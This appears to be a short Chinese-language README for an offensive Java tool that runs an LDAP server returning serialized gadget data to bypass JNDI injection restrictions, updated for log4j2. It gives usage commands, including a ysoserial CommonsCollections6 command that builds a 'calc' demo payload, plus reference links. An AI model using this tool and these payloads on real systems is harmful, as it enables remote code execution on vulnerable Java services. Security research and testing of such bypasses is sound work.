该工具功能是通过LDAP去绕过高版本的JNDI注入
原理:利用LDAP返回序列化数据,触发本地Gadget
使用:java -jar LdapBypassJndi.jar port poc.ser
port:是监听的端口相当于服务端监听的端口
poc.ser:是序列化base64编码的gadget
java -jar ysoserial.jar CommonsCollections6 "calc" | base64 >win-cc6-calc-poc.ser
简单的说相当于一个反序列化入口,要利用就需要本地有。
更新 2021/12/21
bypass log4j2 的ldap服务
https://github.com/Firebasky/Java/blob/main/java%E6%97%A5%E5%B8%B8/%E9%97%B2%E8%B0%88log4j2.md
参考:
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html